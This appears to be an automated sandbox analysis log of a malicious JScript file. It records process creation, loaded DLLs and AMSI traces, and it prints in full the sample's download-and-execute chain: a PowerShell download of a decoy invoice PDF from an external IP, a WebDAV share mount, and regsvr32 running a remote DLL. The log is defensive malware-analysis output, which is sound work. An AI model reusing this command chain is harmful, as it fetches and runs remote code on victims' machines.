Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p03pwwsy.jkz.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2612377921588116147.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1568,i,8750985277368039934,4885640579780257371,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1568,i,8750985277368039934,4885640579780257371,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8632.js.csv");ITextStream.WriteLine(" entry:8063 f:uswlhngq");ITextStream.WriteLine(" exec:2 f:uswlhngq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
